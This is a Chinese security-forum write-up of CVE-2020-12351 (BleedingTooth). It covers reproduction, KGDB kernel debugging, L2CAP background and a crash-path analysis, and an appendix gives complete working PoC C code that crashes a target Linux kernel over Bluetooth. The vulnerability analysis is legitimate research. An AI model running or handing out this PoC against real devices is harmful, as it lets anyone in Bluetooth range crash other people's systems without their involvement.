首页
社区
课程
招聘
[原创]CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析
2021-1-30 15:50 15028

[原创]CVE-2020-12351:Linux蓝牙模块拒绝服务漏洞分析

2021-1-30 15:50
15028

一. 漏洞信息

1. 漏洞简述

CVE-2020-12351是谷歌安全研究人员在Linux内核中发现的蓝牙安全漏洞。该漏洞位于net/bluetooth/l2cap_core.c,是一个基于堆的类型混淆漏洞。攻击者在蓝牙范围内向目标设备发送恶意L2CAP载荷即可触发该漏洞,引发目标设备蓝牙服务DoS或使攻击者获得目标设备kernel权限的任意代码执行。该漏洞利用过程无需受害者参与交互,因此被称为“零点击攻击”。

2. 漏洞原理

Bluetooth.ko在处理L2CAP数据包时,将一个错误的数据类型作为参数传递给了内核函数,导致内核函数解析指针发生了错误,引发了空指针引用或不可修复的缺页异常。

3. 影响和解决方案

Linux kernel 4.8以上的版本受影响,我在测试中发现从Linux kenrel 5.4.0-53开始该漏洞就已经不起作用了。Intel建议升级到Linux kernel 5.9版本。

二. 漏洞复现

图2-1 

攻击者和目标机都运行在Ubuntu20.04 Linux kernel 5.4.0-42上,攻击者通过一些手段获知目标机的蓝牙地址BD(方法较为简单),在本地以root权限运行poc即可使目标机蓝牙服务崩溃。

首先,目标机需要开启蓝牙并且使得自身可以被发现和连接:

图2-2 目标机开启蓝牙

接下来在攻击机中输入命令“sudo ./poc 18:26:49:CD:09:E1”执行验证程序:

图2-3 发送恶意数据包


可以看到目标机已经崩溃转储重启:

图2-4

目标机重启后观察/var/crash目录下的内存转储文件观察到了问题出在内核蓝牙服务:

图2-5 目标机蓝牙服务崩溃

观察内核日志发现当内核运行到“sk_filter_trim_cap + 0x6d”发生了空指针引用,对应于filter.h的第657行。

sk_filter_trim_cap函数位于内核文件vmlinux中,现场对应的测试指令访问[r15+2]处的内容。r15=0因此实际访问地址为0x2导致空指针引用。

三. 双机调试环境搭建

                                      

图3-1 连接示意图

攻击者向目标机发送恶意数据包导致目标机的蓝牙服务崩溃,调试机通过RS-232串口线连接到目标机使用KGDB对内核进行调试。

双机调试需要目标机支持KGDB调试,可以在内核编译时设置menuconfig打开支持选项。当前Ubuntu发行版内核已经默认开启了KGDB支持,通过命令“cat /boot/config-uname -r | grep -i GDB”查看可知当前内核支持KGDB以及串口调试。

图3-2 查看KGDB开启情况

1. 准备符号文件和内核源码文件

双机调试需要尽可能保持目标机和调试机运行的内核版本相同,这里目标机和调试机都是运行Linux kernel 5.4.0-42.46。为了调试的时候能够在kgdb查看符号信息,需要在调试机中安装同版本带调试信息和符号的kernel,我们可以到launchpad.net站点下载符号文件。

图3-3 符号文件和源码文件下载

文件拷贝到调试机中执行“dpkg -i”命令安装符号文件,安装完成后“usr/lib/debug/boot/vmlinux-5.4.0-42-generic”和“/usr/lib/debug/lib/modules/5.4.0-42-generic/kernel/net/bluetooth/bluetooth.ko”就是所需的符号文件。

图3-4 符号文件安装目录

2. 配置目标机并建立调试会话

目标机内核已经默认支持KGDB调试,但是默认不工作需要我们通过编辑grub文件将KGDB调试附加到启动目录中,这样就可以在开机的时候进入调试。以root权限编辑“/etc/grub.d/40-custom”文件,添加如下启动条目:

图3-5 编辑grub文件

注意到内核启动命令部分着色的内容,kgdbwait表示目标机开机后等待调试机的KGDB连接,kgdboc是KGDB over console的缩写表示通过控制台交互,ttyS0表示通过默认的第一个串口进行交互,115200为串口波特率,nokaslr表示禁用内核地址随机化便于下断点调试。

至此目标机的配置已经完成,开机后可以看到grub增加了调试启动选项,进入调试后看到如下等待连接的界面:

图3-6

在调试机中使用PL2303 USB转串口扩展计算机的串口,用RS-232电缆与目标机COM1端口相连,这时调试机的/dev目录下会多出ttyUSB0文件,该文件就是串口通信文件。由于默认情况下需要root权限才能使用串口,所以执行命令“sudo usermod -a -G dialout username” 将username用户添加到tty文件所属的dialout组,重启后可以使用普通用户权限操作端口。

使用stty命令配置调试机的串口波特率为115200与目标机一致。

图3-7 配置调试机串口

接下来编写gdb配置文件config,该文件的目的是自动加载符号文件、设置目标机架构、连接调试机,可以避免复杂的手工输入。

图3-8 gdb配置文件

为使gdb能够使用list命令显示源代码,gdb从/build/linux-kcrkKx目录下读取源代码,因此在/目录下依次建立build和linux-kcrkKx目录,将源码目录复制到linux-kcrkKx目录下并命名为linux-5.4.0。

图3-9 gdb源代码目录

至此调试机也配置完毕,加载gdb配置文件可以看到gdb自动断下,使用list命令可以看到断点处对应的内核源码。

图3-10

3. 注意事项

关闭内核地址随机化KASLR。KASLR的存在使得内核加载的基地址每次重启后都有所不同会干扰调试,因此一定要在grub文件中的启动命令行加上nokaslr。

设置gdb配置文件的目标架构。若没有指定目标架构,gdb会默认目标机是32位,这会造成后续很多麻烦,因此在配置文件中设置set architecture i386:x86-64。

拷贝内核源码文件。可能不同gdb的默认搜索源码目录是不同的,要根据调试过程中的具体报错信息创建源码目录。

在目标机中巧用Sysrq下断点。在gdb中输入continue命令后内核开始运行,再次输入Ctrl+c无法使目标机内核停下来,需要我们在目标机中向/proc/sysrq-trigger文件中写入字符“g”使内核停止等待kgdb命令。关于sysrq-trigger文件用法请参考Linux 4.x源码Documentation目录下的sysrq.txt有全面说明。

四. 蓝牙技术介绍

1. 经典蓝牙架构

蓝牙设备由蓝牙主机、蓝牙模块和传输层组成。以具备蓝牙功能的计算机为例,蓝牙模块是主板上集成的蓝牙通信部分电路,包括蓝牙主控芯片、基带芯片、射频电路,这些现在都可以做在一块芯片里。蓝牙主机负责使用蓝牙模块实现特定的功能,例如文件传输、语音通话,这一部分既包括硬件也包括软件是最复杂的部分。传输层连接蓝牙主机和蓝牙模块,它将主机的请求发送到模块去执行并将模块接收到的数据传递给主机,这部分包括电路连接和相应的驱动,常见的有USB总线、UART、RS232及其驱动。

图4-1 蓝牙通信架构

对于语音传输这种实时性要求较高的应用,使用同步数据交换SCO发送到蓝牙模块进行传输。对于文件传输这类实时性要求不高的应用,则使用异步数据交换ACL进行传输。

进行异步数据交换时,为了能让多个上层协议使用一个基带信道,需要经过“链路适配与控制协议”层处理,简称L2CAP层。例如蓝牙耳机中既有用于播放音频的ACL数据,也有用于控制播放歌曲的ACL数据,但它们都共用一个物理信道,这时要用L2CAP定义的数据格式加以区分。

应用的原始数据需要经过L2CAP层进行分段、加上数据头打包成L2CAP格式的分组传递给HCI层,HCI层将数据打包成主机控制器能够理解的格式发送给蓝牙模块去执行;接收时蓝牙模块将接收到的数据以HCI分组的格式发送给主机,主机解析出其中的数据再传递给L2CAP层,L2CAP层接收到足够的数据包就会将其重新组合成应用数据,最后传递给上层的协议。

图4-2 分段与重组 

2. HCI ACL数据包解析

第2节提到漏洞位于L2CAP数据解析的位置,HCI ACL数据包承载了L2CAP数据分组。L2CAP数据分组承载了上层应用协议的数据,为使用蓝牙模块发送数据,L2CAP数据分组还需要加上HCI数据头成为L2CAP数据包通过传输层发送给蓝牙模块进行调制发送,接收过程与之相反。

图4-3 HCI ACL数据包格式

HCI数据包有命令包、事件包、ACL数据包、SCO数据包四种格式,第一个字节0x2表示为HCI ACL数据包;handle用于标识一个和远程蓝牙主机的连接,这个在多个设备连接时有用到;PB表示所搭载的L2CAP分组所在的位置,0x2表示第一个L2CAP分组,0x1表示中间分组;dlen表示HCI载荷长度,单位为字节。

L2CAP层目的有三:信道复用;分段与重组;差错控制和重传。信道复用通过L2CAP头的CID字段进行标记,不同的协议使用不同的CID来标记自己的数据包。其中命令信道用于建立本地和远程之间的服务通信;广播信道用于向一组设备广播数据,属于无连接信道;保留信道用于测试;动态分配信道用于分配给每一个上层应用协议使用。

CID说明
1命令信道
2广播信道
3~3f保留
40~ffff动态分配

表4-1 CID分配

Length字段标记了L2CAP载荷和FCS校验码的总长度,最大为65535字节也就是64KB。

五. PoC分析

公开PoC代码见附录2。

第10~52行代码用于生成L2CAP数据包的FCS校验码,与内核校验的逻辑完全相同所以直接从内核源码中截取,位置为linux-5.4/linux-5.4/lib/crc16.c 。

进入main函数,首先调用hci_open_dev打开一个与本地蓝牙模块通信的HCI层原始套接字,通过该套接字可以随意构造HCI数据包。

第93~114行代码生成一个L2CAP层套接字并与远程主机连接。该套接字的目的是生成一个远程连接句柄handle,后面把该handle提取出来组装到HCI原始套接字的数据包上。需要注意的是在蓝牙编程中,作为主动连接的一方也需要将套接字与本地地址绑定,这一点和基于TCP/IP的网络编程有点不同。

第116~123行调用getsockopt函数将L2CAP连接的handle提取出来。

第126~134行构造HCI ACL包的内层L2CAP包,其中L2CAP包头的CID字段设置为AMP_MGR_CID(0x3),计算L2CAP包除去FCS字段的crc校验码并添加到FCS字段。构造出来的L2CAP包如下:

图5-1 L2CAP数据结构

第149行调用自定义hci_send_acl_data函数将L2CAP包打包成HCI ACL数据包,最后通过HCI原始套接字发送。

hci_send_acl_data函数接收4个参数,hci_cocket是本地HCI原始套接字,hci_handle是已经建立的L2CAP连接的句柄,data是要发送的L2CAP数据包,data_length是L2CAP数据包的长度。

hci_handle和PC、BC标志组成HCI包头的handle字段,data_length初始化HCI包头的dlen字段。使用writev函数将HCI包头、L2CAP包打包后发送至HCI原始套接字,所以生成HCI ACL数据包是在writev完成的,其中打包的第一个字节为HCI_ACLDATA_PKT(0x2)表示这是一个ACL类型的HCI包。

构造好的HCI数据包通过HCI原始套接字发送到本地蓝牙模块,由模块中的固件识别、处理,交给基带发送到目标机。

图5-2 HCI ACL数据包

六. 漏洞分析

1. 静态分析

观察调用栈信息可以看到调用的层次为:

图5-1 调用层次

/*代码5-1*/
/*linux-5.4\linux-5.4\net\bluetooth\hci_core.c*/
/* hci_rx_work*/
while ((skb = skb_dequeue(&hdev->rx_q))) {
	              /*……*/
		/* Process frame */
		switch (hci_skb_pkt_type(skb)) {
		case HCI_EVENT_PKT:
			BT_DBG("%s Event packet", hdev->name);
			hci_event_packet(hdev, skb);
			break;
		case HCI_ACLDATA_PKT:
			BT_DBG("%s ACL data packet", hdev->name);
			hci_acldata_packet(hdev, skb);
			break;
		case HCI_SCODATA_PKT:
			BT_DBG("%s SCO data packet", hdev->name);
			hci_scodata_packet(hdev, skb);
			break;
		default:
			kfree_skb(skb);
			break;
		}
	}
}

HCI分组到达会引发一个中断唤醒hci_rx_work例程,该函数将包含HCI分组的套接字缓冲从接收队列中取出,此时套接字缓冲data指针指向HCI数据包头,hci_skb_pkt_type判断数据区中的载荷类型,将ACL类型的HCI数据包传递到hci_acldata_packet中处理。

图5-2 HCI层套接字缓冲

/*代码5-2*/
/*linux-5.4\linux-5.4\net\bluetooth\hci_core.c*/
/* ACL data packet */
static void hci_acldata_packet(struct hci_dev *hdev, struct sk_buff *skb)
{
	struct hci_acl_hdr *hdr = (void *) skb->data;     /*取出HCI包头*/
     struct hci_conn *conn;
     skb_pull(skb, HCI_ACL_HDR_SIZE);           /*data指针指向L2CAP头*/
     handle = __le16_to_cpu(hdr->handle);     /*取出handle字段*/
	flags  = hci_flags(handle);                      /*从handle字段中取出PB和BC*/
	handle = hci_handle(handle);                   /*从handle字段中取出handle*/
	   /*……*/
	handle = __le16_to_cpu(hdr->handle);    /*取出连接句柄*/
	conn = hci_conn_hash_lookup_handle(hdev, handle);
	if (conn) {
		/* Send to upper protocol */
		l2cap_recv_acldata(conn, skb, flags);
		return;
	} 
	/*……*/

hci_acl_data_packet从套接字缓冲取出HCI数据包头中的连接句柄,该句柄作为哈希值查找到到hci连接信息conn。flags为从HCI头部提取出的PB和BC的值,用于判断L2CAP分组的位置。调用skb_pull函数将套接字缓冲的data指针指向L2CAP数据包头。接下来调用l2cap_recv_acldata,此时数据从HCI层进入到L2CAP层。

图5-3 L2CAP层套接字缓冲

/*代码5-3*/
/*linux-5.4\linux-5.4\net\bluetooth\l2cap_core.c*/
void l2cap_recv_acldata(struct hci_conn *hcon, struct sk_buff *skb, u16 flags)
{
	struct l2cap_conn *conn = hcon->l2cap_data;
	struct l2cap_hdr *hdr;
	int len;
	/*……*/

	switch (flags) {
	case ACL_START:			/*flags=0x2*/
	case ACL_START_NO_FLUSH:
	case ACL_COMPLETE:

		/……/

		/* Start fragment always begin with Basic L2CAP header */
		if (skb->len < L2CAP_HDR_SIZE) {
			BT_ERR("Frame is too short (len %d)", skb->len);
			l2cap_conn_unreliable(conn, ECOMM);
			goto drop;
		}
		hdr = (struct l2cap_hdr *) skb->data;
		len = __le16_to_cpu(hdr->len) + L2CAP_HDR_SIZE;
		if (len == skb->len) {
			/* Complete frame received */
			l2cap_recv_frame(conn, skb);
			return;
		}

L2cap_recv_acldata从hci连接信息中取出l2cap连接信息。flags是从HCI头部提取出的PB值,从PoC发送过来的载荷中的PB=0x2,下面对L2CAP头部的长度信息进行校验,通过校验后进入到l2cap_recv_frame函数。

/*代码5-4*/
/*linux-5.4\linux-5.4\net\bluetooth\l2cap_core.c*/
static void l2cap_recv_frame(struct l2cap_conn *conn, struct sk_buff *skb)
{
	struct l2cap_hdr *lh = (void *) skb->data;
	struct hci_conn *hcon = conn->hcon;
	u16 cid, len;
	skb_pull(skb, L2CAP_HDR_SIZE);     /*套接字缓冲的data指针指向L2CAP净荷*/
	cid = __le16_to_cpu(lh->cid);       /*取出L2CAP头的CID字段*/
	
         switch (cid) {
    
    		/*……*/
    
    	default:
    		l2cap_data_channel(conn, cid, skb);
    		break;
    	}
    }

l2cap_recv_frame从L2CAP包头取出CID的值,将套接字缓冲的data指针指向L2CAP净荷。根据CID的值选择进入相应的信道处理函数。PoC发送过来的载荷中CID=0x3,因此进入l2cap_data_channel函数。

图5-4 data指向L2CAP净荷

/*代码5-5*/
/*linux-5.4\linux-5.4\net\bluetooth\l2cap_core.c*/
static void l2cap_data_channel(struct l2cap_conn *conn, u16 cid, struct sk_buff *skb)
{
	struct l2cap_chan *chan;

	chan = l2cap_get_chan_by_scid(conn, cid);
	if (!chan) {
		if (cid == L2CAP_CID_A2MP) { 		/*L2CAP_CID_A2MP=0x0003*/
			chan = a2mp_channel_create(conn, skb);

		/*……*/

	}
     switch (chan->mode) {

           /*……*/

     case L2CAP_MODE_ERTM:
	case L2CAP_MODE_STREAMING:
		l2cap_data_rcv(chan, skb);

           /*……*/
     }

     /*……*/
    
}

L2cap_data_channel从L2CAP连接信息中取出信道信息chan。PoC发送的L2CAP包的CID字段为0x3说明PoC发过来的是A2MP协议包,但并没有通过信令信道协商建立A2MP信道的过程,而是直接通过HCI套接字构造了A2MP包就发往目标机,所以l2cap_get_chan_by_scid返回空指针,控制流进入到a2mp_channel_create函数。

a2mp_channel_create函数层层调用到a2mp_chan_open,该函数设置chan->mode为L2CAP_MODE_ERTM,所以case判断中进入到l2cap_data_rcv函数中。

/*代码5-6*/
/*linux-5.4\linux-5.4\net\bluetooth\l2cap_core.c*/
static int l2cap_data_rcv(struct l2cap_chan *chan, struct sk_buff *skb)
{

	/*……*/

     if (l2cap_check_fcs(chan, skb))
		goto drop;

     /*……*/
      
    if ((chan->mode == L2CAP_MODE_ERTM || chan->mode == L2CAP_MODE_STREAMING) 
		&& sk_filter(chan->data, skb))
		goto drop;

L2cap_data_rcv先调用l2cap_check_fcs对L2CAP净荷的FCS进行校验,PoC的FCS生成函数就是直接截取的源码,校验失败就直接丢弃数据包。接下来第二个if判断中第一个判断条件chan->mode==L2CAP_MODE_ERTM为真,所以执行到sk_filter内联函数,该函数展开为sk_filter_trim_cap。

/*代码5-7*/
/*linux-5.4\linux-5.4\net\core\filter.c*/
int sk_filter_trim_cap(struct sock *sk, struct sk_buff *skb, unsigned int cap)
{
	struct sk_filter *filter;

               /*……*/

	filter = rcu_dereference(sk->sk_filter);
	if (filter) {
		struct sock *save_sk = skb->sk;
		unsigned int pkt_len;

		skb->sk = sk;
		pkt_len = bpf_prog_run_save_cb(filter->prog, skb);   /*出现问题的地方*/

                  /*……*/
	}
             /*……*/

注意到sk_filter_trim_cap接收的第一个参数是指向struct sock的指针,而通过sk_filter传进来的却是chan->data指针,出现问题的地方调用的filter=chan->data->sk_filter。

图5-5 问题定位

根据crash文件定位最终的问题点在filter.h文件的657行,所在的__bpf_prog_run_save_cb函数实际上是内联函数bpf_prog_run_save_cb展开后的结果,具体见代码5-9。

/*代码5-8*/
/*inux-5.4\linux-5.4\include\linux\filter.h*/
static inline u32 __bpf_prog_run_save_cb(const struct bpf_prog *prog, struct sk_buff *skb)
{

	/*……*/

	if (unlikely(prog->cb_access)) {		                              /*657行*/
		memcpy(cb_saved, cb_data, sizeof(cb_saved));

	/*……*/

参数调用链中成员的变化为chan->data->sk_filter->prog->cb_access,由于在代码5-6中传递给sk_filter函数的第一个参数出现了混淆,导致了chan->data->sk_filter->prog=NULL,引发了最后一步的prog->cb_access发生了空指针引用。

最后我再来研究一下类型混淆是如何导致空指针引用的。

按照程序的正常逻辑,传递给代码5-6中的漏洞函数sk_filter的第一个参数是struct sock *变量,正常的参数链中的成员变化应该为:

图5-7 参数链


在异常参数链中,chan->data是在前面a2mp_channel_create函数执行期间初始化的,a2mp_channel_create函数调用了amp_mgr_create来初始化chan->data。

/*代码5-9*/
/*linux-5.4\linux-5.4\net\bluetooth\a2mp.c*/
static struct amp_mgr *amp_mgr_create(struct l2cap_conn *conn, bool locked)
{
	struct amp_mgr *mgr;
	struct l2cap_chan *chan;
	mgr = kzalloc(sizeof(*mgr), GFP_KERNEL);
     chan = a2mp_chan_open(conn, locked);
	mgr->a2mp_chan = chan;
	chan->data = mgr;
}

实际上chan->data指向一块类型为struct amp_mgr类型的堆空间,大小为0x70。显然异常参数链中获取sk_filter成员已经超出了堆的范围,所以在后后面的两步均有可能导致访问内存出现问题。实际确实是这样,在这篇分析中捕获到的是prog+0x2处的空指针引用,但经过多次运行也捕获到了sk_filter+0x18处无法修正的缺页异常。

图5-8 两种类型的异常

对于sk_filter+0x18处无法修正的缺页异常也很好解释。结合sk_filter_trim_cap反汇编代码分析:

图5-9 sk_filter_trim_cap片段

[sk+110h]取出sk_filter放入rax寄存器中,rax也就是代码5-7中filter=rcu_dereference(sk->sk_filter)的返回值,如果rax=0那么数据包直接被丢弃,所以要走到mov r15, [rax+18h]这一步,rax必然是内核堆中一个不为0的垃圾值,使用这个值作为地址访问内存将导致不可修正的缺页异常。

2. 动态分析

动态调试的思路是追踪执行流,查看关键内核路径是否得到执行和最终达到的内存破坏效果。

综合上面的静态分析,我归纳出几个需要关注的路径点。一是代码5-5中位于l2cap_data_channel函数中的l2cap_get_chan_by_scid执行结果是否为NULL,因为这个关乎到l2cap_data_rcv是否得到执行。二是代码5-7中rcu_dereference的执行结果,因为filter的值直接决定了图5-7所示的参数链的最后两步是否会出现访存错误。

所以2个关键的断点打在l2cap_get_chan_by_scid执行完后和rcu_dereference执行完后。

首先在目标机中得到bluetooth模块的加载基地址为0xffffffff_c032d000。

图5-10 模块基地址

在调试机中启动gdb,远程连接到目标机,在目标机中使用sysrq断下,这样可以在gdb中获得输入调试命令的机会。

图5-11

Gdb加载bluetooth.ko符号文件,text段基地址为模块加载基地址。同时在l2cap_data_channel下断点,continue让目标机继续运行。

图5-12 加载模块符号文件

在攻击机中运行poc向目标机发送恶意数据包,gdb此时断下,反汇编l2cap_data_channel函数,在0xffffffff_c035f0eb的位置下第二个断点,continue继续执行。

图5-13

第二个断点处断下,观察到rax=0,也就是l2cap_get_chan_by_scid返回值为NULL,对照代码5-5可知控制流进入了a2mp_channel_create函数,这为后面一系列骚操作埋下了伏笔。

图5-14

第三个断点打在sk_filter_trim_cap函数的0xffffffff_819565ef处,此处对应于代码5-7中函数rcu_dereference(sk->sk_filter),rax为返回值对应于filter变量。

图5-15

continue继续执行后断下,观察rax的值显然不是指针,而是堆上的一个垃圾值,基本验证了前面静态分析得出的结论。

图5-16

在gdb尝试访问rax+0x18位置的内存,显然无法访问,continue目标机肯定崩掉。

图5-17

continue执行到“mov 0x18(%rax), %r15”的位置,目标机崩溃,调试进程退出。该过程由于目标机卡死而没有被kdump转储,所以无法分析crash文件,可以确认这是图5-8中的第二种类型的异常。

图5-18


七. 参考资料

[1] BleedingTooth: Linux kernel蓝牙漏洞。https://www.4hou.com/posts/VlEB

[2] BleedingTooth:Linux蓝牙零点击远程执行代码漏洞(CVE-2020-12351)演示。https://www.bilibili.com/video/av244924734/

[3] Linux: Heap-Based Type Confusion in L2CAP (BleedingTooth) 。https://github.com/google/security-research/security/advisories/GHSA-h637- c88j-47wq 

[4] Ubuntu内核源码调试方法(双机调试)。https://bbs.pediy.com/thread-249192.htm

[5]《深入Linux内核架构》Wolfgang Mauerer著

[6]《Bluetooth Essential for Programmers》

[7]《BLUETOOTH SPECIFICATION Version 4.2 》

八. 附录

1. 资源下载

[1] 内核符号文件及源码下载。https://launchpad.net/ubuntu/groovy/amd64/linux-image-unsigned-5.4.0-42-generic-dbgsym/5.4.0-42.46

[2] HCI数据包。https://pan.baidu.com/s/1i86sskp4DvBc5dQVOnEdSQ  密码: un90

2. PoC.c

# poc.c 
# Compiled with command “gcc -o poc poc.c -lbluetooth”
#
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#define AMP_MGR_CID 0x03

static uint16_t crc16_tab[256] = {
    0x0000, 0xc0c1, 0xc181, 0x0140, 0xc301, 0x03c0, 0x0280, 0xc241,
    0xc601, 0x06c0, 0x0780, 0xc741, 0x0500, 0xc5c1, 0xc481, 0x0440,
    0xcc01, 0x0cc0, 0x0d80, 0xcd41, 0x0f00, 0xcfc1, 0xce81, 0x0e40,
    0x0a00, 0xcac1, 0xcb81, 0x0b40, 0xc901, 0x09c0, 0x0880, 0xc841,
    0xd801, 0x18c0, 0x1980, 0xd941, 0x1b00, 0xdbc1, 0xda81, 0x1a40,
    0x1e00, 0xdec1, 0xdf81, 0x1f40, 0xdd01, 0x1dc0, 0x1c80, 0xdc41,
    0x1400, 0xd4c1, 0xd581, 0x1540, 0xd701, 0x17c0, 0x1680, 0xd641,
    0xd201, 0x12c0, 0x1380, 0xd341, 0x1100, 0xd1c1, 0xd081, 0x1040,
    0xf001, 0x30c0, 0x3180, 0xf141, 0x3300, 0xf3c1, 0xf281, 0x3240,
    0x3600, 0xf6c1, 0xf781, 0x3740, 0xf501, 0x35c0, 0x3480, 0xf441,
    0x3c00, 0xfcc1, 0xfd81, 0x3d40, 0xff01, 0x3fc0, 0x3e80, 0xfe41,
    0xfa01, 0x3ac0, 0x3b80, 0xfb41, 0x3900, 0xf9c1, 0xf881, 0x3840,
    0x2800, 0xe8c1, 0xe981, 0x2940, 0xeb01, 0x2bc0, 0x2a80, 0xea41,
    0xee01, 0x2ec0, 0x2f80, 0xef41, 0x2d00, 0xedc1, 0xec81, 0x2c40,
    0xe401, 0x24c0, 0x2580, 0xe541, 0x2700, 0xe7c1, 0xe681, 0x2640,
    0x2200, 0xe2c1, 0xe381, 0x2340, 0xe101, 0x21c0, 0x2080, 0xe041,
    0xa001, 0x60c0, 0x6180, 0xa141, 0x6300, 0xa3c1, 0xa281, 0x6240,
    0x6600, 0xa6c1, 0xa781, 0x6740, 0xa501, 0x65c0, 0x6480, 0xa441,
    0x6c00, 0xacc1, 0xad81, 0x6d40, 0xaf01, 0x6fc0, 0x6e80, 0xae41,
    0xaa01, 0x6ac0, 0x6b80, 0xab41, 0x6900, 0xa9c1, 0xa881, 0x6840,
    0x7800, 0xb8c1, 0xb981, 0x7940, 0xbb01, 0x7bc0, 0x7a80, 0xba41,
    0xbe01, 0x7ec0, 0x7f80, 0xbf41, 0x7d00, 0xbdc1, 0xbc81, 0x7c40,
    0xb401, 0x74c0, 0x7580, 0xb541, 0x7700, 0xb7c1, 0xb681, 0x7640,
    0x7200, 0xb2c1, 0xb381, 0x7340, 0xb101, 0x71c0, 0x7080, 0xb041,
    0x5000, 0x90c1, 0x9181, 0x5140, 0x9301, 0x53c0, 0x5280, 0x9241,
    0x9601, 0x56c0, 0x5780, 0x9741, 0x5500, 0x95c1, 0x9481, 0x5440,
    0x9c01, 0x5cc0, 0x5d80, 0x9d41, 0x5f00, 0x9fc1, 0x9e81, 0x5e40,
    0x5a00, 0x9ac1, 0x9b81, 0x5b40, 0x9901, 0x59c0, 0x5880, 0x9841,
    0x8801, 0x48c0, 0x4980, 0x8941, 0x4b00, 0x8bc1, 0x8a81, 0x4a40,
    0x4e00, 0x8ec1, 0x8f81, 0x4f40, 0x8d01, 0x4dc0, 0x4c80, 0x8c41,
    0x4400, 0x84c1, 0x8581, 0x4540, 0x8701, 0x47c0, 0x4680, 0x8641,
    0x8201, 0x42c0, 0x4380, 0x8341, 0x4100, 0x81c1, 0x8081, 0x4040
};

uint16_t crc16(uint16_t crc, const void *buf, size_t size) {
    const uint8_t *p;
    p = buf;
    while (size--)
        crc = crc16_tab[(crc ^ (*p++)) & 0xFF] ^ (crc >> 8);

    return crc;
}    /*以上部分是从linux5.4源码中截取的FCS计算代码*/

int hci_send_acl_data(int hci_socket, uint16_t hci_handle, void *data, uint16_t data_length) {
    uint8_t type = HCI_ACLDATA_PKT;
    uint16_t BCflag = 0x0000;
    uint16_t PBflag = 0x0002; /*表示是第一个L2CAP分组*/
    uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F; /*填充HCI包头的PB、BC字段*/
    hci_acl_hdr hdr;
    hdr.handle = htobs(acl_handle_pack(hci_handle, flags)); /*合并成HCI包头的handle字段*/
    hdr.dlen = data_length; /*填充HCI包头的净荷长度字段*/
    struct iovec iv[3];
    iv[0].iov_base = &type;
    iv[0].iov_len = 1;
    iv[1].iov_base = &hdr;
    iv[1].iov_len = HCI_ACL_HDR_SIZE;
    iv[2].iov_base = data;
    iv[2].iov_len = data_length;
    return writev(hci_socket, iv, sizeof(iv) / sizeof(struct iovec)); /*HCI数据包通过原始套接字发送到远程*/
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: %s MAC_ADDR\n", argv[0]);
        return 1;
    }

    bdaddr_t dst_addr;
    str2ba(argv[1], &dst_addr);
    printf("[*] Resetting hci0 device...\n");
    system("sudo hciconfig hci0 down");
    system("sudo hciconfig hci0 up");
    printf("[*] Opening hci device...\n");
    struct hci_dev_info di;
    int hci_device_id = hci_get_route(NULL);
    int hci_socket = hci_open_dev(hci_device_id);
    if (hci_devinfo(hci_device_id, &di) < 0) {
        perror("hci_devinfo");
        return 1;
    }
    printf("[*] Connecting to victim...\n");
    struct sockaddr_l2 laddr = {0};
    laddr.l2_family = AF_BLUETOOTH;
    laddr.l2_bdaddr = di.bdaddr;

    struct sockaddr_l2 raddr = {0};
    raddr.l2_family = AF_BLUETOOTH;
    raddr.l2_bdaddr = dst_addr;
    int l2_sock;

    if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) {
        perror("socket");
        return 1;
    }
    if (bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
        perror("bind");
        return 1;
    }
    if (connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr)) < 0) {
        perror("connect");
        return 1;
    }

    struct l2cap_conninfo l2_conninfo;
    socklen_t l2_conninfolen = sizeof(l2_conninfo);
    if (getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo, &l2_conninfolen) < 0) {
        perror("getsockopt");
        return 1;
    }

    uint16_t hci_handle = l2_conninfo.hci_handle;
    printf("[+] HCI handle: %x\n", hci_handle);
    printf("[*] Sending malicious L2CAP packet...\n");
    struct {
        l2cap_hdr hdr;
        uint16_t ctrl;
        uint16_t fcs;
    } packet = {0};

    packet.hdr.len = htobs(sizeof(packet) - L2CAP_HDR_SIZE);
    packet.hdr.cid = htobs(AMP_MGR_CID);
    packet.fcs = crc16(0, &packet, sizeof(packet) - 2);
    hci_send_acl_data(hci_socket, hci_handle, &packet, sizeof(packet));
    close(l2_sock);
    hci_close_dev(hci_socket);
    return 0;
}



[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2021-1-31 12:52 被极目楚天舒编辑 ,原因:
收藏
点赞6
打赏
分享
最新回复 (8)
雪    币: 1451
活跃值: (14614)
能力值: ( LV12,RANK:380 )
在线值:
发帖
回帖
粉丝
SSH山水画 3 2021-1-30 15:55
2
0
好家伙,这就是掌握了网络真谛的大佬吗, 看到这个空白标题我就忍不住点进来
雪    币: 6313
活跃值: (3107)
能力值: ( LV12,RANK:330 )
在线值:
发帖
回帖
粉丝
极目楚天舒 7 2021-1-30 16:13
3
0
SSH山水画 好家伙,这就是掌握了网络真谛的大佬吗, 看到这个空白标题我就忍不住点进来[em_87]
稍等
雪    币: 5233
活跃值: (3255)
能力值: ( LV10,RANK:175 )
在线值:
发帖
回帖
粉丝
挤蹭菌衣 1 2021-1-31 08:08
4
0
前排膜拜
雪    币: 261
活跃值: (78)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
hacker一疒亻 2021-1-31 21:20
5
0
ubuntu 20.04 64 bit LTS  5.8.0-41-generic 路过。
不过,这文章写得很解渴,我竟然看完了。
这对安卓手机有没有影响?
雪    币: 2510
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_xghoecki 2021-2-1 01:53
6
0
坛里有你更精 ,感谢分享
雪    币: 12059
活跃值: (15389)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2021-2-1 08:46
7
0
感谢分享
雪    币: 11
活跃值: (106)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Lessmore 2021-2-4 10:48
8
0
非常好,从这种方式也可以学习内核。
雪    币: 10958
活跃值: (7723)
能力值: ( LV12,RANK:370 )
在线值:
发帖
回帖
粉丝
